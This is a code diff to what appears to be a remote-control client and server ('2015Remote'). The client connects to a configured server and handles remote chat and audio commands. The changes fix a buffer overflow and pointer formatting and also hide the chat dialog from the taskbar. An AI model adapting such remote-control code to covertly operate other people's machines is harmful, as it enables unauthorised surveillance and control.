diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp
index 26f4fc8..66f1281 100644
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -17,7 +17,7 @@ using namespace std;
 
 CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
 {
-	printf("new CAudioManager %x\n", this);
+	printf("new CAudioManager %p\n", this);
 
 	m_bIsWorking = FALSE;
 	m_AudioObject = NULL;
@@ -110,7 +110,7 @@ CAudioManager::~CAudioManager()
 		delete [] szPacket;
 		szPacket = NULL;
 	}
-	printf("~CAudioManager %x\n", this);
+	printf("~CAudioManager %p\n", this);
 }
 
 //USB  
diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index 7039f8f..bf8a30d 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -133,6 +133,14 @@ int main(int argc, const char *argv[])
 	}
 	printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
 
+	// 获取当前模块的句柄（HINSTANCE） 
+	g_hInstance = GetModuleHandle(NULL); 
+	if (g_hInstance != NULL) {
+		std::cout << "HINSTANCE: " << g_hInstance << std::endl;
+	} else {
+		std::cerr << "Failed to get HINSTANCE" << std::endl;
+	}
+
 	do{
 		g_bExit = 0;
 		HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index cfe54c5..e80242e 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -266,8 +266,9 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
 
 					//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
 					//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
-					m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
-						m_DeCompressedBuffer.GetBufferLength());
+					if (m_Manager)
+						m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
+							m_DeCompressedBuffer.GetBufferLength());
 				}
 				else{
 					printf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp
index 696b026..ef026e5 100644
--- a/client/TalkManager.cpp
+++ b/client/TalkManager.cpp
@@ -20,7 +20,7 @@ using namespace std;
 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////
-char     g_Buffer[0x1000] = {0};
+char     g_Buffer[TALK_DLG_MAXLEN] = {0};
 UINT_PTR g_Event  = 0;
 
 IOCPClient* g_IOCPClientObject = NULL;
@@ -33,6 +33,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObjec
 	m_ClientObject->OnServerSending((char*)&bToken, 1);
 	g_IOCPClientObject = ClientObject;
 	WaitForDialogOpen();
+	cout << "Talk 构造\n";
 }
 
 CTalkManager::~CTalkManager()
@@ -52,7 +53,7 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 
 	default:
 		{
-			memcpy(g_Buffer, szBuffer, ulLength);
+			memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
 			//创建一个DLG
 			DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
 				NULL,DialogProc);  //SDK   C   MFC  C++
@@ -73,9 +74,26 @@ int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
 		}
 	case WM_INITDIALOG:
 		{
+			// 获取当前窗口样式
+			LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
+			// 移除 WS_EX_APPWINDOW 样式，添加 WS_EX_TOOLWINDOW 样式
+			exStyle &= ~WS_EX_APPWINDOW;
+			exStyle |= WS_EX_TOOLWINDOW;
+			SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
+
 			OnInitDialog(hDlg);   
 			break;
 		}
+	case WM_COMMAND: 
+		if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) 
+		{ 
+			KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
+			BYTE bToken = TOKEN_TALKCMPLT;   
+			g_IOCPClientObject->OnServerSending((char*)&bToken, 1);
+			EndDialog(hDlg, LOWORD(wParam)); 
+			return (INT_PTR)TRUE; 
+		} 
+		break;
 	}
 
 	return 0;
diff --git a/common/commands.h b/common/commands.h
index 8e3e095..331c224 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -17,6 +17,8 @@
 // 当程序功能明显发生变化时，应该更新这个值，以便对被控程序进行区分
 #define DLL_VERSION "20241229"		// DLL版本
 
+#define TALK_DLG_MAXLEN 1024		// 最大输入字符长度
+
 // 命令枚举列表
 enum
 {
diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp
index 52b2c99..1f39915 100644
--- a/server/2015Remote/TalkDlg.cpp
+++ b/server/2015Remote/TalkDlg.cpp
@@ -25,7 +25,7 @@ void CTalkDlg::DoDataExchange(CDataExchange* pDX)
 {
 	CDialog::DoDataExchange(pDX);
 	DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk);
-	m_EditTalk.SetLimitText(2048);
+	m_EditTalk.SetLimitText(TALK_DLG_MAXLEN);
 }